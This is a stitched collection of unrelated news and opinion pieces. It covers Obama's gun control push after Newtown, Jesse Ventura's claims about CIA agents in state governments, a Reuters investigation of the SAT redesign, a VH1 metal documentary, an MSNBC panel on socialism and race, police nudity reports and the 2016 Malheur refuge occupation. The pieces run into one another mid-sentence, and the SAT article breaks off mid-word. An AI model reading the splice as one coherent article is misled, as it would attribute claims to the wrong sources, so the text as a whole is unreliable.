What Obama did in the four months between December’s Newtown shooting and this Wednesday’s Senate capitulation was one of the great displays of presidential guts in American history. On gun control, the Democratic Party had been in the fetal position for years. By 2008, the party whose 1972 platform had proposed banning handguns was reduced to declaring: “We recognize that the right to bear arms is an important part of the American tradition, and we will preserve Americans’ Second Amendment right to own and use firearms. We believe that the right to own firearms is subject to reasonable regulation, but we know that what works in Chicago may not work in Cheyenne.” In 2009, when Illinois Rep. Mike Quigley tried to revive gun control legislation, House Democratic leaders refused even to hold a hearing. In 2010, Obama signed legislation lifting restrictions on carrying guns in federal parks. Last July, after a gunman killed 12 and injured 58 at an Aurora, Colorado, movie theater, White House Press Secretary Jay Carney told the press: “There are things that we can do, short of legislation and short of gun laws, as the president said, that can reduce violence in our society. We do need to take a broader look at what we can do to reduce violence in America. And that’s not just legislative, and it’s not just about gun laws.”
Even after Newtown, swarms of commentators warned that Obama would be a fool to take on such a quixotic cause. “There is absolutely no chance whatsoever of bipartisan gun control legislation,” University of Texas law professor Sandy Levinson told Bloomberg News the day after the massacre. “In the short term, we won’t see any new gun-control legislation,” added gun control expert Robert Spitzer. “Any hope that he [Obama] will lead an effort to enact substantive gun control is pure fantasy,” added an article in The Atlantic a few days later.
It would have been easy, maybe even defensible, for Obama to sign some innocuous executive orders and rationalize his caution by citing the importance of working with Republicans on immigration and the deficit. Instead, the White House worked desperately to keep public attention on gun violence and thus prevent the NRA from strangling legislation out of public view. In one of the most emotional scenes I’ve ever seen at a State of the Union address, Obama gestured to the parents of a slain Chicago girl named Hadiya Pendleton and then whipped the crowd into a frenzy by listing massacre after massacre and demanding “they deserve a vote.” He had a mother whose 6-year-old was murdered in Newtown deliver his weekly radio address. Michelle Obama, who has guarded her popularity by avoiding political controversy, almost broke into tears when she said, “Hadiya Pendleton was me” in a speech last week in Chicago.
Sure, Obama may have made tactical mistakes. Critics claim the White House waited too long before offering concrete proposals, and wasted time pushing an assault weapons ban that had no chance to pass. But this president, who is sometimes called reserved, aloof, and calculating, pursued gun control with a force of mind and soul that was astonishing to behold. “I never saw a president fight so hard,” remarked Sen. Barbara Boxer, “never on any issue.”
Why did he do it? In part because the Obama-as-timid meme was always a lie. Timid politicians don’t oppose the Iraq War when virtually every other nationally ambitious Democrat is supporting it. Timid politicians don’t challenge the Clintons in a Democratic primary. Timid politicians don’t overrule their chief of staff and push through health-care reform when the polls show Americans oppose it and their party has just suffered a devastating defeat at the polls.
But beyond that, I suspect that once Obama saw an opportunity, he pushed gun control so hard because he simply cares more. As a community organizer, he worked and lived in the kind of communities where Americans are most often shot. And even when he left, he remained a black man living in a city, and a country, where government often treats black life as cheap. Try imagining Ann Romney or Cindy McCain or even Hillary Clinton saying, as Michelle Obama did in 2008, that her husband “can be shot going to the gas station.” Try imagining them saying that “Hadiya Pendleton was me.”
And there’s one more reason. Republicans often describe America as a country that was once pure—at its founding, before the New Deal, or before the 1960s—was sullied and now must now be redeemed. Obama, by contrast, describes America as a protracted struggle to honor our best ideals by overcoming our evil past, a struggle in which heroes often die without ever seeing their labors bear fruit. It’s no coincidence that a month after Newtown, he swore his inaugural oath on the bibles of Abraham Lincoln and Martin Luther King, and spoke of “the star that guides us still; just as it guided our forebears through Seneca Falls and Selma and Stonewall.” It’s no coincidence that he so often quotes King (who was himself quoting the abolitionist Theodore Parker) as saying, “Even though the arc of the moral universe is long, it bends toward justice.”
Although Obama can’t say it, because he can never seem to focus on race, I’d bet my mortgage that he sees gun control as a continuation of the civil rights struggle. And although he’s described himself as part of the “Joshua Generation,” which enters the Promised Land, he knows that he too will fail to cross certain boundaries. The gun control struggle will likely continue for decades. And this week its arc feels particularly long. But one day, a future president will look back at the last four months as the moment when Barack Obama began to make it bend.WhoWhatWhy commenter David pointed us to the following video of former Minnesota Governor Jesse Ventura discussing his brush with the Central Intelligence Agency as a newly elected state leader...
In the video, Ventura discusses material from his recent memoir Don’t Start the Revolution Without Me!. He repeats the following claims:
(1) Shortly after taking office in January 1999, Gov. Ventura received a request for an interview by the CIA.
(2) The interview was attended by 23 agents or representatives of the agency, only some of whom were willing to identify themselves. They were particularly interested in how Ventura, a former Navy SEAL and pro wrestler, came to be elected as an independent, outsider candidate.
(3) The CIA has operatives planted inside every state government as permanent state employees. In Minnesota, the relevant person occupied an upper management position. When this individual retired during Ventura’s tenure, another CIA agent took his place.
A CIA spokeswoman confirmed that the meeting took place but claimed it was a “training exercise,” according to the St. Paul Pioneer Press. Regarding claim (3), she said: “We are federal employees so that, I think, is a little bit off. We are federal employees; we are not anywhere near being state employees.”
[This seems a classic non-denial denial. Yes, qua CIA agents, they are federal employees. Nevertheless, the key question goes unanswered in her response: does the CIA have agents occupying state government positions?]
One might think that such provocative assertions by a famous former state governor would at least be reported by the national media, if not investigated. But I was unable to find any mention of Ventura’s allegations in the New York Times or the Washington Post. A LexisNexis search found only one national story about Ventura’s claims, a January 4, 2008 AP article on his memoir by Patrick Condon (reprinted here by the Huffington Post). Entitled “Vintage Ventura on Display in New Book,” the story portrays the work as a “rant” that digresses into Ventura’s “obsessions” and “fascination with conspiracy.”
Condon’s original article went out on the AP’s state and local news wire. A second version, with the revised title “Vintage Ventura on display in new book, ranting against everything from government to religion,” was carried on the AP’s entertainment news wire on January 5.
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Our Comment Policy Keep it civilized, keep it relevant, keep it clear, keep it short. Please do not post links or promotional material. We reserve the right to edit and to delete comments where necessary. Related printNEW YORK - Shortly after taking over the College Board in 2012, new CEO David Coleman circulated an internal memo laying out what he called a “beautiful vision.”
It was his 7,800-word plan for transforming the organization’s signature product, the SAT college entrance exam. The path Coleman laid out was detailed, bold and idealistic - a reflection of his personality, say those who know him.
Literary passages for the new SAT should be “memorable and often beautiful,” he wrote, and students should be able to take the test by computer.
Finishing the redesign quickly was essential. If the overhaul were ready by March 2015, he wrote in a later email to senior employees, then the New York-based College Board could win new business and counter the most popular college entrance exam in America, the ACT.
Perhaps the biggest change was the new test’s focus on the Common Core, the controversial set of learning standards that Coleman himself helped create. The new SAT, he wrote, would “show a striking alignment” to the standards, which set expectations for what American students from kindergarten through high school should learn to prepare for college or a career. The standards have been fully adopted by 42 states and the District of Columbia - and are changing how and what millions of children are taught.
Redesigning the SAT to reflect the Common Core has solidified Coleman’s influence as one of the most powerful figures in education. He has emerged as “the arbiter of what America’s children should know and be able to do,” Diane Ravitch, former assistant secretary of education for President George H.W. Bush, wrote in her blog.
But Coleman’s “beautiful vision” for remaking the exam soon met some harsh realities.
Internal documents reviewed by Reuters show pitched battles over his timeline to create the new test and whether the push to meet the deadline could backfire.
The documents, which include memos, emails and presentations, reveal persistent concerns that aligning the redesigned SAT with the Common Core would disadvantage students in states that rejected the standards or were slow to absorb them. The materials also indicate that Coleman’s own decisions delayed the organization’s effort to offer a digital version of the exam.
Today, less than a year after the new SAT debuted, the College Board continues to struggle with the consequences of Coleman’s crash course to remake the SAT and its companion, the PSAT, a junior version of the exam.
“It was a bad year, and I’m sorry,” Coleman said in September, at a conference of university admissions officers and high school counselors. “It is no good to have vision if you don’t deliver.”
As Reuters reported in March, the College Board has struggled to stop cheating rings in Asia that exploit security weaknesses in the SAT and enable some students to gain unfair advantages on the exam. A massive security breach earlier this year exposed about 400 questions for upcoming SATs. And College Board officials went forward with the redesigned test even though they knew it was overloaded with wordy math questions, a problem that handicaps non-native English speakers and reinforces race and income disparities that Coleman has vowed to diminish.
Coleman has subsequently pledged to streamline the SAT’s wordiest math questions and cut back on the reuse of tests, a practice that fuels cheating.
The recent U.S. presidential election, however, could make the coming years even more challenging.
President-elect Donald Trump has called the Common Core a “total disaster,” saying education must be controlled locally. He has promised to dismantle the Common Core and has selected an opponent of the standards, Betsy DeVos, to serve as secretary of education. Such high-level opposition could determine whether the course charted by Coleman helps or hurts the College Board.
Several states already have backed away from the Common Core. And Ravitch, the former education official, worries that investing so much public trust in Coleman’s vision for learning and testing is risky.
“All of these things were wrapped around the Common Core. That’s all unraveling,” Ravitch said in an interview. “If the SAT becomes woefully out of line with what’s happening in schools, then it’s less valuable.”
Coleman, 47, declined requests to discuss his tenure. Asked what the Trump era and the selection of DeVos portend for the SAT and the College Board, Coleman sent Reuters a written statement: “Betsy DeVos is a remarkable citizen leader. She believes fiercely in our founding principles of liberty and equality of opportunity. We can’t wait to see what she does next as Secretary of Education.”
Coleman appears to have the support of his organization’s Board of Trustees. Although none agreed to be interviewed for this article, the College Board released a short statement from Doug Christiansen, the chairman, lauding the CEO.
“David Coleman and his team are leading the College Board through a time of remarkable, positive change in serving students and educators,” said Christiansen, who is also the dean of admissions at Vanderbilt University.
Coleman’s agenda is spelled out in his internal plan to redesign the SAT and illuminated in thousands of pages of other internal documents that Reuters examined. Those documents, and interviews with people who know Coleman, provide a detailed look at his efforts to remake the College Board, an organization that has a profound impact on the lives of millions of students, parents and educators.
RUSH TO REDESIGN
Since taking charge, Coleman has sought to improve access to higher education by using the vast resources of the not-for-profit College Board, which had about $77 million in annual profit and $834 million in net assets in 2015. The College Board offers test-fee waivers to poor students as well as free test-preparation services through a partnership with Khan Academy, a not-for-profit educational organization.
“It is no good to have vision if you don’t deliver.” David Coleman, CEO of the College Board, during a presentation in September
The redesign of the SAT, however, was Coleman’s most ambitious endeavor. The SAT and rival ACT are among the highest-stakes tests in American education, yardsticks used by colleges to choose among some 2 million applicants each year.
To Coleman, the SAT needed to be more than a tool for universities to “do a good job of sorting people out,” said Jeff Dolven, a friend and college classmate who’s now a professor of poetry at Princeton University.
“I think that Dave wants, in a sense, to change the world,” Dolven said. He sees the SAT as a means “to change the fortunes of students who deserve an education.”
Coleman seemed aware of the challenges he faced. In 2012, the year he became College Board president, the ACT had just overtaken the SAT as the most popular college entrance exam in America.
His problem wasn’t just a matter of students preferring the ACT over the SAT. Some universities were turning against standardized testing itself. A growing number have made the tests optional for applicants.
One was Bennington College in Vermont, a liberal arts school that concluded test scores were an overrated indicator of future academic performance. Bennington chose to go “test optional” in 2006 - a decision made by Coleman’s own mother, Elizabeth, who served 25 years as the college’s president.
“Probably it’s a good idea not to talk about this stuff,” Elizabeth Coleman said when contacted by Reuters. “I’m his mother. One of the wise things for a mother to do is to stay out of it.”
A Rhodes Scholar with degrees from Yale, Oxford and Cambridge universities, David Coleman worked as a McKinsey & Co consultant. He went on to found an education technology company, which McGraw-Hill Education later acquired for millions of dollars, and started a nonprofit that developed the Common Core.
Coleman had established himself as one of the most dynamic voices in education. But he had never managed anything as sprawling as the College Board, which pays him nearly $900,000 a year in salary and benefits and has about a dozen separate offices.
“Going from an organization of approximately 22 people to one of 1,400 has been a little bit jarring,” Coleman said during a panel discussion at the Brookings Institution in November 2012, the month after he became College Board president.
“To them or to you?” the moderator asked.
An early sign of the difficulties that lay ahead came in February 2013, about a month after he sent around his plan for redesigning the SAT. That’s when Hal Higginbotham, a College Board senior vice president, delivered the new CEO a 14-page, footnoted memo.
Coleman had called his manifesto a “beautiful vision” for redesigning the SAT. Higginbotham, who joined the organization while Coleman was still a teenager, titled his rejoinder “Towards a Meaningful and Successful Revision to the SAT.”
In his memo, Higginbotham voiced support for Coleman’s overarching mission: creating an SAT that both predicts how well students will do in college (the test’s traditional role) and assesses their mastery of the Common Core. But he also schooled his new boss on the realities of building a standardized test.
In the past, the College Board has needed about two years - and the help of outside contractors - just to develop new questions for an existing generation of the SAT. Coleman wanted the College Board to “create a new test from scratch” and handle most of the work itself, all in the same two-year time frame, Higginbotham wrote.
“There is no reason (aside from eternal hope) to believe that a March 2015 date is achievable,” Higginbotham wrote, “and indeed there is every reason to conclude it is beyond the organization’s grasp.” Higginbotham proposed a 2017 launch for the new exam - two years later than Coleman wanted.
Citing a non-disclosure agreement, Higginbotham declined to comment. He no longer works at the College Board.
Other senior employees involved in a much simpler SAT redesign in 2005 also warned Coleman against moving too fast. One was the man in charge of research and development, Wayne Camara.
Camara resigned in August 2013 to join the rival ACT after 19 years with the College Board. In his resignation letter, he told Coleman that the CEO’s “top-down prescription” for the redesign could jeopardize the validity of the exam.
In the email introducing his vision memo, Coleman wrote that his ideas were “as always open to challenge, revision – and substantial improvement.” Camara’s resignation letter seems to dispute that.
“I do not believe we had an opportunity to challenge or test many of these constraints or requirements before they were mandated,” Camara wrote of Coleman’s plans for the exam. “We also have no data to evaluate the new constructs, items or scores at this time.” Camara declined to comment on the resignation letter.
PRESCIENT WARNINGS
Coleman stuck to his release date. A PowerPoint presentation from that time refers to the new SAT launch as the “March 2015 imperative.”
On August 18, 2013, less than two weeks after receiving Camara’s resignation, Coleman explained the urgency to College Board executives. Dozens of states were implementing the Common Core and were in the market for tests to evaluate student mastery of the new standards. The SAT, ACT and others were vying for that business.
“If the SAT becomes woefully out of line with what’s happening in schools, then it’s less valuable.” Diane Ravitch, former assistant secretary of education
“The simple reason we must deliver the revised SAT by 2015 is that key states will make decisions about whether to adopt the ACT or another college ready measure in 2015,” he wrote. “If we are not part of that ecosystem, the reach of the SAT will be dramatically reduced.”
By October 2013, however, an outside consultant was also questioning whether the College Board could meet Coleman’s deadline. The consultant, Gartner Inc, categorized the time frame as a “high risk” issue for the College Board.
In the following weeks, senior College Board executives began discussing whether to delay the launch by a year, until March 2016. Amid the mounting difficulties, the College Board opted to postpone. Still, the timetable remained ambitious for a top-to-bottom redesign, and the warnings of Higginbotham, Camara and the consultant proved prophetic.
As Reuters reported in September, the College Board released the exam even though the organization failed to meet its own design specifications for the test’s math section. It also failed to properly secure questions for the new test, leading to the breach earlier this year that has left 400 questions for upcoming SATs in limbo.
In response to the breach, the College Board said it was taking “the test forms with stolen content off of the SAT administration schedule.” But by withholding those questions, the organization depleted its already limited inventory of useable exams. As a result, it has fallen back on a practice that enables cheating: using previously administered versions of the test.
Since the redesigned SAT was first given in March, the College Board already has recycled past versions of the new exam, both abroad and in the United States. As Reuters reported, that means a student could take the same version of the SAT twice, giving the test-taker a valuable advantage.
After reading the story, a mother in Pennsylvania contacted Reuters to report that this happened to her son. He took the SAT in March and again in May. He knew he got a particular math problem wrong on the first test and researched how to answer it. To his surprise, she said, the May test repeated a number of reading and math questions used in March - including the one he had botched. He got it right the second time, and boosted his overall score on the SAT from 1280 to 1330 out of a possible 1600, she said.
As part of his plan, Coleman wanted to enable students to take the new test online, not just on paper. Digitizing the SAT would cut administrative and scoring costs, he wrote in his vision memo.
Before Coleman arrived, the College Board had been developing digital testing for more than two years, internal memos show. Offering tests online was complex, veterans warned Coleman. It would require extra research and logistical chores, such as arranging computers for exam-takers. Moreover, creating a digital SAT by March 2015 “is almost certainly not achievable,” Higginbotham wrote in his note to Coleman, “and definitely not in a responsible manner adhering to good measurement practice.”
Coleman pressed on. In early 2013, he scuttled the College Board’s internal digital project and brought in an outsider to lead the effort: Mark Luetzelschwab, who had helped run an education technology company called Agilix.
That July, Luetzelschwab touted how his former company would help execute the digital undertaking, documents show. Using Agilix software, the College Board would meet its goals “faster, cheaper, and (with) less risk than building” a digital platform internally, he wrote in an email to Jeremy Singer, Coleman’s new chief operating officer.
Coleman’s team worked out a deal with Luetzelschwab’s old firm: a no-bid contract for as much as $30 million, documents show. Other top College Board officials protested.
Three College Board technical specialists warned in detailed memos that Agilix lacked the expertise to deliver the technology it promised. Lawyers didn’t like the deal, either.
General counsel Neil Lane urged Singer to abandon talks with Agilix; Lane viewed the large no-bid contract as a conflict of interest, according to emails. Another lawyer, John Newman, circulated a memo arguing that a contract with Agilix could be seen by the Internal Revenue Service as an illegal diversion of funds by creating a “private benefit” for Agilix. That, Newman believed, could jeopardize the organization’s tax-exempt status.
Coleman stood firm. The College Board signed the deal in late 2013 and provided Agilix with a $3 million upfront payment, according to a document.
Lane, who currently is a special counsel at the College Board, declined to comment. Newman no longer works for the College Board and declined to discuss his memo.
Publicly, Coleman promised to roll out an online version of the test. Four months into the contract, however, Agilix had failed to deliver its first batch of work on the project, a document shows. By mid-April 2014, the College Board notified Agilix that it was in breach of contract. Agilix was fired months later. But it was allowed to keep the $3 million upfront payment, a document shows.
“I sincerely wonder whether those test results will present the right basis for making decisions as to who will attend which college.” Memo by Hal Higginbotham, former College Board executive
Curt Allen, the CEO of Agilix, declined to comment.
Luetzelschwab, who was fired a few months later, declined to comment on his time at the College Board.
The Agilix deal proved a setback. This July, ACT announced plans to roll out an online version of its test in 2017. Meanwhile, the College Board is again rebooting. In October, Coleman announced new hires to handle its digital efforts.
NEW STANDARDS
Coleman’s vision for the SAT prompted a broader worry that remains today. By so closely linking the exam to the Common Core, critics contend, the College Board has built an SAT that could discriminate against students whose states either have rejected or haven’t fully implemented the learning standards.
Coleman himself was a central player in crafting Common Core, an initiative set up almost a decade ago by U.S. state governors and others. In 2008, Coleman’s Student Achievement Partners oversaw the development of the learning standards. By the end of 2013, 45 states and Washington D.C. adopted the Common Core. Three states later dropped out, though. They and other holdout states feared communities would lose too much control over what their kids get taught.
The Core’s English Language Arts standards call on students to grapple with important readings, including hallowed U |
There’s an intensity to what they were doing and an attitude — no holds barred, not virtuosity or playing — that also influenced people who went on to play metal music. And if you listen to the quality of the early Stooges‘ riffs, they have the plodding, repetitive, low-end feel to what they were doing. That music was really heavy at the time.”
In any given episode of Metal Evolution you can see interviews with metal icons like Hetfield and tangential artists like Iggy Pop, but also many unexpected faces. So far, six episodes have aired and the rest run through early 2012.
“One of the strongest episodes is ‘Shock Rock’ — it’s the only episode not about sound,” Dunn said. “It’s about performance, spectacle and theatricality. It goes way back to Coney Island and P.T. Barnum — he realized people will pay to be freaked out.”
Artists like Arthur Brown, Screamin’ Jay Hawkins, Kiss, Marilyn Manson and Slipknot took that concept and ran with it.
Following the evolution of elaborate shows makes you “realize how important stage presence and spectacle is to rock music,” Dunn said.
Dunn admits Banger Films came around at the right time, with metal undergoing a resurgence fueled, in part, by technology and the internet (in addition to head-banging moms and dads turning their children on to bands like Black Sabbath and Iron Maiden).
“When I grew up, you were a metalhead, a punk, a jock or a skater. You couldn’t be a mixture,” Dunn said. “Now kids will listen to five different genres within five songs on an iPod. When you see a band like Mastodon on Letterman, it says a lot of people are exposed to those bands more easily than in the ’80s when you had to blindly pick up Venom’s Welcome to Hell.”
Metal Evolution airs Saturdays at 10 p.m. Eastern/7 p.m. Pacific on VH1 Classic.
Images courtesy VH1 ClassicSoopermexican at The Right Scoop found another definitive Melissa Harris-Perry moment on Saturday morning. In rejoicing over how Bernie Sanders is making America safe for socialism (and socialist critiques of capitalism), she asked her panel why America has always been so persistently opposed to socialism. She had a pet theory.
Why could that be? Racism, of course:
MELISSA HARRIS-PERRY: So we see this comparison a lot that the U.S. is alone, and nearly alone, among Western democracies in not having universal health care or guaranteed paid parental leave or many other perks of a more socialist government. But the question is why. What makes the U.S. different? And the way I tend to frame this to my students is why is there no socialism in the U.S.? The great Eric Foner question. And there`s a one-word answer, Kai, I'm looking at you, friend -- KAI WRIGHT, THE NATION MAGAZINE: Let me see. Could it be race? HARRIS-PERRY: Could it be? I mean that becomes the kind of standard story, right, is that in this country, race and racial privilege has trumped class identity as a way of organizing our politics. WRIGHT: Well, I mean so we could go way back, right, I mean the whole -- if we`re talking about capitalism in the first instance. The whole system globally was built on slavery. The modern economy was built - the cotton was built on cotton which was built on financing, financing slaves. And so from that moment forward, we`ve been in a discussion about capitalism in the United States that has, in fact, sorted people by race. And you can't -- and so when we get back to sort of the public investments that we make in people and that part of democratic socialism that has been challenged and difficult particularly in modern times because, coming out of the Great Society, coming out of the mid-20th century, we have had a politics that makes those public investments giveaways to black people.
After explaining that socialism isn’t exactly triumphing in Europe, especially in France under a socialist leader, Reason magazine editor-in-chief Matt Welch dissented from the MSNBC line:
MATT WELCH: I want to say something the history, and race is a huge part of the history of this country and sustained on everything. But capitalism didn`t just proceed from a bunch of people sitting around and saying how can I be the most racist?...But it also proceeded from a notion of individual rights and individual liberty. And some of the people who helped topple those racist structures that came or were put upon it were animated just as much by that notion of individual [liberty].
But the MSNBC lecture continued:
HARRIS-PERRY: So, the capitalism operates on our preferences, which are exogynist, which are fixed outside the system, and if racial bias is part of those preferences because of history, right, because we have this long history, then doesn`t it mean that the system must consistently have a corrective, right? So if, in fact, we just have a bias against certain kinds of bodies, don't we then have to come in and correct that bias, even in order to make a free market system operate?
When Jeffrey Miron from Harvard gently pointed out that some people resent “affirmative action” and begin to think minorities haven’t earned their status in society, Harris-Perry resisted: "But professor, you have to let me weigh in, that nobody needed affirmative action to teach bias against black and brown people. Like, that bias is pre-existing and then affirmative action comes and then affirmative action gets used as discourse. But it`s not as though -- it's kind of like saying that, you know, like all of a sudden white folks decide to use the N-word because of hip-hop. No, no, no, it was - they had already known how to use that word before!”A Lake Ozark man has been charged with four misdemeanors in an incident at a Lake Ozark condominium complex in which he allegedly walked naked around the condo pool and playground, then tried to fight deputies, spitting and urinating on them, who were trying to detain him.
A Lake Ozark man has been charged with four misdemeanors in an incident at a Lake Ozark condominium complex in which he allegedly walked naked around the condo pool and playground, then tried to fight deputies, spitting and urinating on them, who were trying to detain him.
Brandon C. Schroeder, 22, is facing two counts of fourth degree assault, Class A misdemeanor; and one count each of resisting arrest, Class A misdemeanor; sexual misconduct, Class B misdemeanor.
Deputies responded to Southwood Shores in the Horseshoe Bend area of Lake Ozark shortly before 7:30 p.m. Aug. 24 in reference to a report of a naked male walking in the pool area. The man had allegedly been in the playground area as well.
Upon arrival, Camden County deputies found that the subject - later identified as Schroeder - had returned to a condo unit. Responding to that room, Schroeder allegedly attempted to punch one of the deputies. Schroeder then charged the other deputy, according to a press release from the Camden County Sheriff’s Office. The deputy deployed a taser to control Schroeder who was then placed in a chair. it was at this point, police say, Schroeder spit and urinated on the deputies.
Schroeder was taken to Lake Regional Hospital due to his impaired condition, the CCSO press release states. He was found fit for confinement and transported to the Camden County Adult Detention Center.University Police cited a 33-year-old non-student for public nudity last week.
He was parked in a car by himself in an empty dirt lot northeast of campus adjacent to the Phi Kappa Tau fraternity house at the intersection of State College and Yorba Linda Boulevard. When an officer initiated a conversation with the man, it was discovered that he was bare from the waist down.
The man told police that he was on a phone call and needed to urinate. Once he finished the call, he continued to sit in his car with his pants and underwear completely off, said Lt. Scot Willey of University Police.
He had been sitting in his car for at least 10 minutes, police said.
If you liked this story, sign up for our weekly newsletter with our top stories of the week. EmailThe residential area of the Malheur National Wildlife Refuge headquarters on Thursday. (Joe Kline / The Bulletin) 4784399
The residential area of the Malheur National Wildlife Refuge headquarters on Thursday. (Joe Kline / The Bulletin) - Bulletin
LeVoy Finicum talks to people outside the Malheur National Wildlife Refuge headquarters on Thursday. (Joe Kline / The Bulletin) 4784393
LeVoy Finicum talks to people outside the Malheur National Wildlife Refuge headquarters on Thursday. (Joe Kline / The Bulletin) - Bulletin
Duane Ehmer, of Irrigon, rides his horse, Hellboy, in the hills outside the Malheur National Wildlife Refuge headquarters on Thursday. (Joe Kline / The Bulletin) 4784384
Duane Ehmer, of Irrigon, rides his horse, Hellboy, in the hills outside the Malheur National Wildlife Refuge headquarters on Thursday. (Joe Kline / The Bulletin) - Bulletin
Ammon Bundy walks up the road to address the media outside the Malheur National Wildlife Refuge headquarters on Thursday. Bundy had just returned to the headquarters after a brief meeting with Harney County Sheriff David Ward. (Joe Kline / The Bulletin) 4783772
Ammon Bundy walks up the road to address the media outside the Malheur National Wildlife Refuge headquarters on Thursday. Bundy had just returned to the headquarters after a brief meeting with Harney County Sheriff David Ward. (Joe Kline / The Bulletin) - Bulletin
Ammon Bundy walks through a group of media members while answering questions outside the Malheur National Wildlife Refuge headquarters on Thursday. Bundy had just returned to the headquarters after a brief meeting with Harney County Sheriff David Ward. (Joe Kline / The Bulletin) 4783800
Ammon Bundy walks through a group of media members while answering questions outside the Malheur National Wildlife Refuge headquarters on Thursday. Bundy had just returned to the headquarters after a brief meeting with Harney County Sheriff David Ward. (Joe Kline / The Bulletin) - Bulletin
Ammon Bundy answers questions outside the Malheur National Wildlife Refuge headquarters on Thursday. Bundy had just returned to the headquarters after a brief meeting with Harney County Sheriff David Ward. (Joe Kline / The Bulletin) 4783771
Ammon Bundy answers questions outside the Malheur National Wildlife Refuge headquarters on Thursday. Bundy had just returned to the headquarters after a brief meeting with Harney County Sheriff David Ward. (Joe Kline / The Bulletin) - Bulletin
Jon Ritzheimer talks to reporters outside the Malheur National Wildlife Refuge headquarters on Thursday. (Joe Kline / The Bulletin) 4784383
Jon Ritzheimer talks to reporters outside the Malheur National Wildlife Refuge headquarters on Thursday. (Joe Kline / The Bulletin) - Bulletin
Nolan Edwards, right, listens as LeVoy Finicum, center, talks with Monte Kingen, 11, left, at the Malheur National Wildlife Refuge headquarters on Thursday outside Burns. Kingen came to interview occupiers for his school newspaper. (Joe Kline / The Bulletin) 4784382
Nolan Edwards, right, listens as LeVoy Finicum, center, talks with Monte Kingen, 11, left, at the Malheur National Wildlife Refuge headquarters on Thursday outside Burns. Kingen came to interview occupiers for his school newspaper. (Joe Kline / The Bulletin) - Bulletin
Ryan Bundy shakes hands with seven-year-old Reata Kingen after being interviewed by Kingen's brother, Monte, center, for his school newspaper at the Malheur National Wildlife Refuge headquarters on Thursday outside Burns. (Joe Kline / The Bulletin) 4784381
Ryan Bundy shakes hands with seven-year-old Reata Kingen after being interviewed by Kingen's brother, Monte, center, for his school newspaper at the Malheur National Wildlife Refuge headquarters on Thursday outside Burns. (Joe Kline / The Bulletin) - Bulletin
A sticker is visible on a pickup truck outside the Malheur National Wildlife Refuge headquarters on Thursday. (Joe Kline / The Bulletin) 4784400
A sticker is visible on a pickup truck outside the Malheur National Wildlife Refuge headquarters on Thursday. (Joe Kline / The Bulletin) - Bulletin
The contents of Ryan Bundy's back pocket are visible while outside the Malheur National Wildlife Refuge headquarters on Thursday. (Joe Kline / The Bulletin) 4784401
The contents of Ryan Bundy's back pocket are visible while outside the Malheur National Wildlife Refuge headquarters on Thursday. (Joe Kline / The Bulletin) - Bulletin
Ammon Bundy answers questions outside the Malheur National Wildlife Refuge headquarters on Thursday. Bundy had just returned to the headquarters after a brief meeting with Harney County Sheriff David Ward. (Joe Kline / The Bulletin) 4783742
Ammon Bundy answers questions outside the Malheur National Wildlife Refuge headquarters on Thursday. Bundy had just returned to the headquarters after a brief meeting with Harney County Sheriff David Ward. (Joe Kline / The Bulletin) - Bulletin
Monte Kingen, 11, a sixth-grader at Fields School in Harney County, interviews Ryan Bundy for his school newspaper at the Malheur National Wildlife Refuge headquarters on Thursday outside Burns. (Joe Kline / The Bulletin) 4783733
Monte Kingen, 11, a sixth-grader at Fields School in Harney County, interviews Ryan Bundy for his school newspaper at the Malheur National Wildlife Refuge headquarters on Thursday outside Burns. (Joe Kline / The Bulletin) - Bulletin
LaVoy Finicum, seen here at a press conference at the Malheur National Wildlife Refuge in January. (Joe Kline / The Bulletin file photo) 4783732
LaVoy Finicum, seen here at a press conference at the Malheur National Wildlife Refuge in January. (Joe Kline / The Bulletin file photo) - Bulletin
Duane Ehmer, of Irrigon, rides his horse, Hellboy, in the hills outside the Malheur National Wildlife Refuge headquarters on Thursday. (Joe Kline / The Bulletin) 4783741
Duane Ehmer, of Irrigon, rides his horse, Hellboy, in the hills outside the Malheur National Wildlife Refuge headquarters on Thursday. (Joe Kline / The Bulletin) - Bulletin
Harney County Sheriff Dave Ward meets with Ammon Bundy at a remote location outside the Malheur National Wildlife Refuge on Thursday, Jan. 7, 2016, near Burns, Ore. Three Oregon sheriffs met Thursday with the leader of an armed group occupying a federal wildlife refuge and asked them to leave, after residents made it clear they wanted them to go home. Ward said via Twitter that he asked Bundy to respect the wishes of residents. Ward said the two sides planned to talk again Friday. (Beth Nakamura / The Oregonian via AP) 4784480
Harney County Sheriff Dave Ward meets with Ammon Bundy at a remote location outside the Malheur National Wildlife Refuge on Thursday, Jan. 7, 2016, near Burns, Ore. Three Oregon sheriffs met Thursday with the leader of an armed group occupying a federal wildlife refuge and asked them to leave, after residents made it clear they wanted them to go home. Ward said via Twitter that he asked Bundy to respect the wishes of residents. Ward said the two sides planned to talk again Friday. (Beth Nakamura / The Oregonian via AP) - Bulletin
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By Dylan J. Darling The Bulletin
BURNS — The ongoing occupation of the Malheur National Wildlife Refuge headquarters shows no signs of ending anytime soon.
Ammon Bundy, a leader of the occupation, briefly left the headquarters Thursday afternoon to meet with Harney County Sheriff David Ward. The two talked at a country crossroads about 13 miles from the federal refuge buildings that Bundy and a band of militants seized Saturday.
Bundy addressed a horde of national and international media around a warming fire at the entrance to the refuge shortly after his encounter with Ward. He said the goal of the occupation is to have the federal government pass oversight of the lands it manages in Harney County to the county.
“They need to be returned back to the people,” he said.
It was the first time Ward and Bundy, whose father, Cliven Bundy, earned fame through a standoff with the federal government in Nevada in 2014 over grazing issues, had met face-to-face during the occupation. They may meet again today.
“Plans to talk again tomorrow,” tweeted the Harney County Sheriff’s Office shortly after the meeting Thursday. “Sheriff Ward called on them for a peaceful resolution.”
Also Thursday the office tweeted: “Sheriff Ward asks Ammon Bundy to please leave and respect the wishes of Harney County residents.”
Like Ward’s meeting and social media message, a request from Gov. Kate Brown on Thursday did not trigger the end to the occupation.
“To members of the Burns Paiute tribe and residents of Harney County who seek a return to normal life: I hear you, and I agree that what started as a peaceful and legal protest has become unlawful,” Brown said in a prepared statement. “It was instigated by outsiders whose tactics we Oregonians don’t agree with. Those individuals illegally occupying the Malheur Wildlife Refuge need to decamp immediately and be held accountable.”
Throughout the day, the militants, many of whom are armed, shrugged off questions about Harney County residents wanting them to leave.
During a meeting Wednesday night in Burns, many of the 30 county residents who spoke said they would like to see Bundy, who hails from Nevada, and his bunch go. The group calls itself “Citizens for Constitutional Freedom.”
Ryan Bundy, Ammon’s brother, is also leading the occupation. He said he did not go to the meeting in Burns, but he heard reports about the two-hour town hall. He said the reports indicated there was not a clear sentiment for them to leave and for the occupation to end.
“I took it as a split decision,” Ryan Bundy said.
